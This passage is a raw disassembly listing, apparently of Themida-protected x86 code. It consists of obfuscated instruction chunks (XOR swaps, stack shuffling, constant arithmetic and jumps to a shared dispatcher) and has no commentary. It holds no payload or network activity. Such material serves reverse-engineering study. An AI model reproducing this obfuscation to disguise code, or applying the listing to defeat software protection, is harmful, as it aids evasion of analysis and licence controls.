loc_586C94:				; CODE XREF: sub_58960C-DA4j
		mov	ebp, ebx
		jmp	loc_58A29B
; END OF FUNCTION CHUNK	FOR sub_58960C
; ---------------------------------------------------------------------------


loc_586C9B:				; CODE XREF: Themida_:0058C6EAj
		pop	ebx
		jmp	loc_5866FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DA2E


loc_586CA1:				; CODE XREF: sub_58DA2E+7j
		push	eax
		jmp	loc_5867F5
; END OF FUNCTION CHUNK	FOR sub_58DA2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E6C2


loc_586CA7:				; CODE XREF: sub_58E6C2+9j
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	edx
		push	edi
		mov	edi, 3EE14AB8h
		mov	edx, 3EE14ABCh
		xor	edx, edi
		pop	edi
		add	ebp, edx
		push	[esp+8+var_8]
		pop	edx
		add	esp, 4
		add	ebp, 2
		jmp	sub_586F2E
; END OF FUNCTION CHUNK	FOR sub_58E6C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586CD7:				; CODE XREF: sub_585452+5DA9j
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], edx
		mov	edx, 6ACD2899h
		jmp	loc_58D736
; ---------------------------------------------------------------------------


loc_586CF5:				; CODE XREF: sub_585452+39E3j
		mov	[esp+0Eh+var_10+2], edi
		mov	edi, 21CB4B2Bh
		push	ebp
		mov	ebp, 6AB67118h
		jmp	loc_58CDE7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586D08:				; CODE XREF: Themida_:0058D6EEj
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5852A9
; ---------------------------------------------------------------------------


loc_586D14:				; CODE XREF: Themida_:0058E209j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_589906
; ---------------------------------------------------------------------------


loc_586D1D:				; CODE XREF: Themida_:005845C1j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58BA39
; ---------------------------------------------------------------------------


loc_586D31:				; CODE XREF: Themida_:0058801Ej
		add	bl, al
		push	5EB6h
		mov	[esp], ecx
		mov	cl, 0C5h
		or	cl, 8Ah
		push	ebx
		mov	bh, 6Ch
		jmp	loc_5886D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586D48:				; CODE XREF: sub_585452+29Bj
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		mov	cx, word ptr [esp+6+var_8+2]
		push	7C97h
		mov	[esp+0Ah+var_C+2], esi
		push	esp
		jmp	loc_58C3D1
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D7D9


loc_586D60:				; CODE XREF: sub_58D7D9-125j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	esi
		push	edi
		mov	edi, 105F11ECh
		jmp	loc_5877E3
; END OF FUNCTION CHUNK	FOR sub_58D7D9
; ---------------------------------------------------------------------------


loc_586D72:				; CODE XREF: Themida_:00586996j
		xchg	edx, [esp]
		pop	esp
		push	eax
		push	1FB5h
		mov	[esp], edx
		push	0EFE0C5Eh
		push	dword ptr [esp]
		jmp	loc_58E475
; ---------------------------------------------------------------------------


loc_586D8C:				; CODE XREF: Themida_:005898DBj
		add	ebx, ebp
		pop	ebp
		add	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_586C26
; ---------------------------------------------------------------------------


loc_586DA2:				; CODE XREF: Themida_:00585FF3j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	ecx
		push	1463h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586DCC:				; CODE XREF: sub_585452+9284j
		add	edx, eax
		pop	eax
		sub	edx, 4
		xchg	edx, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], ebp
		jmp	loc_58A743
; ---------------------------------------------------------------------------


loc_586DDE:				; CODE XREF: sub_585452+6A72j
		dec	eax
		shl	eax, 8
		jmp	loc_588E63
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586DE7:				; CODE XREF: Themida_:0058F28Fj
		push	esi
		mov	esi, 3A96758Dh
		sub	[esp+4], esi
		pop	esi
		mov	eax, [esp]
		jmp	loc_5877A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586DFA:				; CODE XREF: sub_585452+9370j
		push	edi
		mov	edi, 6F51316h
		shr	edi, 4
		xchg	eax, edi
		inc	eax
		xchg	eax, edi
		jmp	loc_58858F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586E0B:				; CODE XREF: Themida_:005888D0j
		pop	ebp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp]
		jmp	loc_58C04E
; ---------------------------------------------------------------------------


loc_586E23:				; CODE XREF: Themida_:0058C4A1j
		mov	ah, 0CCh
		or	cl, ah
		mov	ax, [esp]
		add	esp, 2
		shr	cl, 8
		add	cl, 0D8h
		dec	cl
		not	cl
		add	cl, 0DFh
		add	al, cl
		pop	ecx
		push	ecx
		push	623Ah
		jmp	loc_5845C6
; ---------------------------------------------------------------------------


loc_586E4C:				; CODE XREF: Themida_:00586ECDj
		mov	ebx, 0F0821FDh
		shr	ebx, 8
		jmp	loc_586C34
; ---------------------------------------------------------------------------


loc_586E59:				; CODE XREF: Themida_:0058D4ABj
		push	4E44h
		mov	[esp], ecx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_586956
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B758


loc_586E6F:				; CODE XREF: sub_58B758+15C2j
		add	edx, ebp
		push	esi
		push	34CE2C2Bh
		pop	esi
		add	edx, esi
		pop	esi
		jmp	loc_58ECE2
; END OF FUNCTION CHUNK	FOR sub_58B758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_586E80:				; CODE XREF: sub_589967+371Dj
		not	dword ptr [esp+0]
		jmp	loc_58F0F9
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DEA3


loc_586E88:				; CODE XREF: sub_58DEA3-9724j
		or	cl, 5Eh
		xor	cl, 0BDh
		shl	cl, 1
		jmp	loc_5851C3
; END OF FUNCTION CHUNK	FOR sub_58DEA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_586E95:				; CODE XREF: sub_58FA66-A6EAj
		pop	eax
		push	ecx
		push	3519h
		mov	[esp+8+var_8], esi
		mov	esi, 1
		mov	ecx, esi
		push	[esp+8+var_8]
		pop	esi
		push	3580h
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_587FC8
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586EB7:				; CODE XREF: sub_585452+7EBAj
		push	esp
		jmp	loc_589109
; ---------------------------------------------------------------------------


loc_586EBD:				; CODE XREF: sub_585452+7DBFj
		mov	[esp+0Eh+var_10+2], eax
		jmp	loc_586FBB
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586EC5:				; CODE XREF: Themida_:0058BCDDj
		push	560Eh
		mov	[esp], ebx
		jmp	loc_586E4C
; ---------------------------------------------------------------------------


loc_586ED2:				; CODE XREF: Themida_:0058EC43j
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_58AFC2
; ---------------------------------------------------------------------------


loc_586EE0:				; CODE XREF: Themida_:0058CBBBj
		xchg	bl, ch
		push	bx
		push	ecx
		mov	ch, 17h
		mov	bh, ch
		mov	ecx, [esp]
		jmp	loc_58C264
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586EF1:				; CODE XREF: sub_585452+901Ej
		add	ebx, esi
		jmp	loc_583D55
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586EF8:				; CODE XREF: Themida_:00589B13j
		mov	edx, 0F51A95F9h
		add	edx, eax
		pop	eax
		add	ebx, 0C08028Fh
		add	ebx, edx
		sub	ebx, 0C08028Fh
		mov	edx, [esp]
		jmp	loc_58E9C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586F16:				; CODE XREF: sub_585452+4975j
		pop	eax
		add	esp, 4
		and	eax, edi
		pop	edi
		jmp	loc_584389
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_586F22:				; CODE XREF: sub_58EFBD-6AA3j
		sub	ebp, 7E602FB5h
		pop	ebx
		jmp	loc_589745
; END OF FUNCTION CHUNK	FOR sub_58EFBD

; =============== S U B	R O U T	I N E =======================================



sub_586F2E	proc near		; CODE XREF: sub_58E6C2-79F0j

var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 0058935D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F958 SIZE 00000010 BYTES

		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_58935D
sub_586F2E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586F38:				; CODE XREF: sub_585452-1342j
		add	[esp+8+var_4], 706161A3h
		sub	[esp+8+var_4], ebp
		sub	[esp+8+var_4], 706161A3h
		push	eax
		jmp	loc_5860C3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_586F52:				; CODE XREF: Themida_:00589011j
		mov	[esp], edx
		mov	edx, 2
		push	ebx
		mov	ebx, 781F73F2h
		xor	ebx, 71C07D1Fh
		sub	edi, ebx
		pop	ebx
		add	edi, 61F35348h
		jmp	loc_58EFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586F74:				; CODE XREF: sub_585452-31Ej
		push	3EC4h
		mov	[esp+6+var_8+2], ebx
		jmp	loc_58B1FA
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_586F81:				; CODE XREF: sub_58A170+2240j
		pop	ecx
		jmp	loc_58E74F
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_586F87:				; CODE XREF: Themida_:005870CDj
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586F8C:				; CODE XREF: sub_585452-FE7j
		shr	edi, 8
		jmp	loc_58B7B4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		lodsd
		push	ecx
		push	eax
		mov	eax, 125145C6h
		shl	eax, 2
		jmp	loc_58924E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586FA4:				; CODE XREF: sub_585452+596Dj
		push	esi
		push	edx
		mov	edx, esp
		jmp	loc_58E6D0
; ---------------------------------------------------------------------------


loc_586FAD:				; CODE XREF: sub_585452-1590j
		mov	[esp-4+arg_0], eax
		sub	esp, 4
		jmp	loc_584A35
; ---------------------------------------------------------------------------


loc_586FBB:				; CODE XREF: sub_585452+1A6Ej
		mov	al, 40h
		add	ch, al
		mov	eax, [esp+0Eh+var_10+2]
		push	edi
		mov	edi, esp
		jmp	loc_58994D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_586FCA:				; CODE XREF: sub_58FA66-4A82j
		pop	esp
		and	eax, ecx
		pop	ecx
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_584757
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_586FD8:				; CODE XREF: sub_585452+4C6Cj
		pop	eax
		xor	edx, 4F7ADFE9h
		push	ebp
		mov	ebp, edx
		mov	esi, ebp
		pop	ebp
		pop	edx
		push	0
		sub	[esp+0Eh+var_10+2], esi
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4
		push	edi
		mov	edi, 0E4A6079h
		and	esi, edi
		pop	edi
		or	esi, 4E7F7B64h
		shr	esi, 1
		jmp	loc_588C17
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58700A:				; CODE XREF: Themida_:0058E093j
		pop	edx
		jmp	loc_58B4DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587010:				; CODE XREF: sub_585452+51D5j
		push	[esp+0Ah+var_8+2]
		pop	ebx
		jmp	loc_58A3C8
; ---------------------------------------------------------------------------


loc_58701A:				; CODE XREF: sub_585452+9F09j
		sub	ebx, 0D4F491Ah
		jmp	loc_58A61D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], al
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B758


loc_587034:				; CODE XREF: sub_58B758+358Bj
		mov	edi, 15C76CC7h
		dec	edi
		jmp	sub_58F728
; END OF FUNCTION CHUNK	FOR sub_58B758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58703F:				; CODE XREF: sub_585452+5D2j
		add	ecx, ebx
		jmp	loc_58D17D
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587046:				; CODE XREF: Themida_:005866EEj
		mov	[esp], eax
		mov	eax, 4
		sub	esi, 23821540h
		add	esi, eax
		add	esi, 23821540h
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587071:				; CODE XREF: sub_585452+3BFBj
		pop	edi
		inc	edx
		sub	edx, 8AD725E7h
		mov	edi, edx
		pop	edx
		jmp	loc_583FE2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	eax
		jmp	loc_58DC58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58708A:				; CODE XREF: sub_585452+518j
		push	ecx
		mov	ecx, 13FD5AD6h
		dec	ecx
		add	ecx, 0FFFFFFFFh
		shl	ecx, 1
		jmp	loc_58DAF4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5870A9:				; CODE XREF: sub_585452+6178j
		pop	ebx
		push	ecx
		jmp	loc_58BD91
; ---------------------------------------------------------------------------


loc_5870B0:				; CODE XREF: sub_585452+A519j
		push	ax
		jmp	loc_58877C
; ---------------------------------------------------------------------------


loc_5870B7:				; CODE XREF: sub_585452-762j
		xor	edx, [esp-1Eh+arg_1A]
		jmp	loc_587988
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5870BF:				; CODE XREF: Themida_:0058F9F8j
		or	bh, 0A4h
		neg	bh
		dec	bh
		jmp	loc_584D91
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_586F87
; ---------------------------------------------------------------------------


loc_5870D2:				; CODE XREF: Themida_:0058C487j
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_583DB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5870EC:				; CODE XREF: sub_585452+4BD3j
		push	edx
		jmp	sub_586B0E
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_5870F2:				; CODE XREF: sub_587574+EB9j
		mov	eax, 1
		sub	ecx, eax
		mov	eax, [esp+0]
		jmp	loc_5896AC
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_587101:				; CODE XREF: sub_58F728-4105j
		add	ecx, ebx
		jmp	loc_58D9E6
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_587108:				; CODE XREF: Themida_:00588F16j
		pop	ebx
		shr	ebx, 5
		push	2099h
		mov	[esp], edi
		jmp	loc_589AD4
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		jmp	loc_58C5BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587120:				; CODE XREF: sub_585452-7A4j
		add	esi, edx
		pop	edx
		and	eax, esi
		mov	esi, [esp-28h+arg_24]
		jmp	sub_589967
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5756


loc_587136:				; CODE XREF: sub_5B5756-298D1j
		mov	ch, 0F3h
		and	ch, 8Bh
		and	ch, 9Ah
		not	ch
		jmp	loc_58DD70
; END OF FUNCTION CHUNK	FOR sub_5B5756
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_587145:				; CODE XREF: sub_58EFBD-211Fj
		pop	ecx
		jmp	loc_58E589
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58714B:				; CODE XREF: Themida_:00589C7Bj
		mov	bl, 16h
		mov	cl, 9
		neg	cl
		neg	cl
		add	cl, 0D6h
		add	cl, bl
		pop	ebx
		jmp	loc_58C81E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58715E:				; CODE XREF: sub_585452+4E92j
		xor	ebp, 0AC948D64h
		add	ebx, ebp
		mov	ebp, [esp-28h+arg_24]
		add	esp, 4
		add	ebx, 2
		xor	ebx, [esp-2Ch+arg_28]
		jmp	loc_586061
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_584FE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58718D:				; CODE XREF: sub_585452+751j
		sub	ebx, 4
		xor	ebx, [esp-1Ch+arg_16+2]
		xor	[esp-1Ch+arg_16+2], ebx
		xor	ebx, [esp-1Ch+arg_16+2]
		pop	esp
		mov	[esp-20h+arg_1A+2], ecx
		jmp	loc_58E428
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5871A5:				; CODE XREF: Themida_:0058D79Aj
		mov	ebx, 56C34B3Ch
		or	ebx, 514D5E03h
		sub	ebx, 62843247h
		shr	ebx, 2
		or	ebx, 3CD86238h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2FB43E3Eh
		inc	edx
		xor	edx, 6BD4B47h
		sub	ebx, edx
		pop	edx
		push	934h
		jmp	loc_58CF54
; ---------------------------------------------------------------------------


loc_5871DE:				; CODE XREF: Themida_:0058C96Ej
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_587E00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A5A3


loc_5871E9:				; CODE XREF: sub_58A5A3-54F9j
		push	eax
		mov	eax, 43CB7C98h
		and	eax, 28283DA7h
		jmp	loc_58888C
; END OF FUNCTION CHUNK	FOR sub_58A5A3
; ---------------------------------------------------------------------------


loc_5871F9:				; CODE XREF: Themida_:0058DE29j
		pop	edx
		inc	edx
		xchg	edi, edx
		push	0
		sub	[esp], edi
		pop	edi
		xchg	edi, edx
		push	edi
		jmp	loc_585C8C
; ---------------------------------------------------------------------------


loc_58720E:				; CODE XREF: Themida_:0058A9F1j
		mov	ebx, 1F403EBAh
		shr	ebx, 7
		push	edx
		mov	edx, 2274341Bh
		and	edx, 23A901E6h
		neg	edx
		jmp	loc_5868E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587229:				; CODE XREF: sub_585452+2847j
		push	eax
		mov	al, bl
		mov	dl, al
		jmp	loc_586457
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587233:				; CODE XREF: Themida_:0058AE1Fj
		mov	esi, esp
		push	ebp
		mov	ebp, 105F2CBDh
		and	ebp, 43417DFFh
		add	ebp, 0B630A53h
		xor	ebp, 5F0E011Ah
		inc	ebp
		xor	ebp, 3EFE5BA1h
		xor	ebp, 6A546DAEh
		add	esi, ebp
		pop	ebp
		push	ecx
		jmp	loc_58DE81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_587263:				; CODE XREF: sub_58C230-7628j
		mov	ecx, 430324F5h
		sub	edi, ecx
		mov	ecx, [esp-8+arg_4]
		jmp	loc_5891D9
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587272:				; CODE XREF: sub_585452+5DB5j
		mov	[esp-1Ch+arg_16+2], ebp
		sub	[esp-1Ch+arg_16+2], 5E4C2A32h
		pop	ecx
		push	1323h
		mov	[esp-1Ch+arg_16+2], ebp
		mov	ebp, 5E4C2A32h
		add	ecx, ebp
		pop	ebp
		pop	ebp
		add	eax, 12DD7693h
		add	eax, ecx
		jmp	loc_58D2D7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_58729A:				; CODE XREF: sub_58EFBD+98j
		xor	ebx, esi
		jmp	loc_58DFF0
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BB49


loc_5872A1:				; CODE XREF: sub_58BB49-326Ej
		push	239Ch
		mov	[esp+4+var_4], ebp
		mov	ebp, 7CEB313Fh
		sub	dword ptr [esp+4], 1DDA5C4Eh
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 1DDA5C4Eh
		pop	ebp
		sub	[esp+0], eax
		push	esi
		mov	esi, 7CEB313Fh
		add	[esp+4], esi
		pop	esi
		sub	dword ptr [esp+0], 0B0217C7h
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_58BB49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5872DD:				; CODE XREF: sub_585452+90E9j
		push	eax
		jmp	loc_5893C2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58999B


loc_5872E3:				; CODE XREF: sub_58999B+441Fj
		mov	ebx, [esp-8+arg_2+2]
		add	esp, 4
		jmp	loc_58E2D2
; END OF FUNCTION CHUNK	FOR sub_58999B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5872EE:				; CODE XREF: sub_585452+9FDFj
		and	edx, 38324117h
		jmp	loc_58B984
; ---------------------------------------------------------------------------


loc_5872F9:				; CODE XREF: sub_585452-EEj
		or	ebp, eax
		jmp	loc_58D251
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587300:				; CODE XREF: Themida_:0058F85Bj
		pop	ebx
		push	edi
		jmp	loc_586A60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587307:				; CODE XREF: sub_585452+5415j
		not	[esp+2+var_4+2]
		pop	ecx
		xchg	ecx, edx
		xchg	edx, [esp+0]
		mov	esi, [esp+0]
		add	esp, 4
		shr	esi, 2
		sub	esi, 1DB2F09Bh
		add	ecx, esi
		jmp	loc_58B87F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_587326:				; CODE XREF: sub_58C230+A1Bj
		and	ecx, 0CB44FE6h
		add	ecx, 642512B7h
		mov	ebp, ecx
		pop	ecx
		or	edi, ebp
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		inc	edi
		xchg	ecx, edi
		xchg	edi, ecx
		not	edi
		xchg	edi, ecx
		xchg	ecx, edi
		push	eax
		mov	eax, 81C2E823h
		xor	edi, eax
		pop	eax
		push	ebp
		mov	ebp, edi
		mov	[edx+38h], ebp
		pop	ebp
		jmp	loc_588E2F
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_587360:				; CODE XREF: sub_589967-4A9Aj
		pop	esi
		add	ebx, 0FCFBA4EEh
		add	ebp, ebx
		pop	ebx
		push	ebx
		jmp	loc_58D4FE
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AB18


loc_587370:				; CODE XREF: sub_58AB18-1A70j
		push	esi
		jmp	loc_58CC7D
; END OF FUNCTION CHUNK	FOR sub_58AB18
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1F9Eh
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_584724
; ---------------------------------------------------------------------------


loc_587391:				; CODE XREF: Themida_:0058845Bj
		pop	edi
		pop	eax
		push	edx
		jmp	loc_586B49
; ---------------------------------------------------------------------------


loc_587399:				; CODE XREF: Themida_:00588CD9j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4F732B6Bh
		shr	eax, 7
		jmp	loc_58D769
; ---------------------------------------------------------------------------


loc_5873B0:				; CODE XREF: Themida_:005842F4j
		pop	edx
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_58CB40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5873BB:				; CODE XREF: sub_585452+322Fj
		pop	esp
		mov	[esp-0Ah+arg_4+2], eax
		jmp	loc_588AAE
; ---------------------------------------------------------------------------


loc_5873C4:				; CODE XREF: sub_585452+2705j
		mov	edx, [esp-0Ah+arg_4+2]
		sub	esp, 4
		mov	[esp-6+arg_0+2], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5885B7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5873DA:				; CODE XREF: Themida_:0058B584j
		push	ebp
		mov	ebp, 2
		jmp	loc_58E97E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5873E5:				; CODE XREF: sub_585452+871Aj
		sub	ebx, 1
		add	ebx, 127C09C1h
		xor	ebx, 0A191381Bh
		sub	edi, 49A11589h
		add	edi, ebx
		jmp	loc_58491A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BE98


loc_587401:				; CODE XREF: sub_58BE98+13j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	784Fh
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_587798
; END OF FUNCTION CHUNK	FOR sub_58BE98
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3C69h
		jmp	loc_585E9C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_584C0D
; ---------------------------------------------------------------------------


loc_58743B:				; CODE XREF: Themida_:0058DE7Cj
		mov	[esp], edx
		push	ebx
		jmp	loc_5867E4
; ---------------------------------------------------------------------------


loc_587444:				; CODE XREF: Themida_:0058E92Cj
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_587449:				; CODE XREF: sub_585452+8557j
		push	417h
		mov	[esp+0], esi
		push	esp
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		sub	esi, 3EBB719Dh
		add	esi, edi
		add	esi, 3EBB719Dh
		pop	edi
		jmp	loc_58B01A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_587473:				; CODE XREF: Themida_:00589855j
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_588A70
; ---------------------------------------------------------------------------


loc_587483:				; CODE XREF: Themida_:0058D4EAj
		pop	esp
		xor	[esp], dl
		xor	dl, [esp]
		xor	[esp], dl
		jmp	loc_58A05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DCD4


loc_587492:				; CODE XREF: sub_58DCD4+62Aj
		mov	edi, esp
		jmp	loc_5854AC
; END OF FUNCTION CHUNK	FOR sub_58DCD4
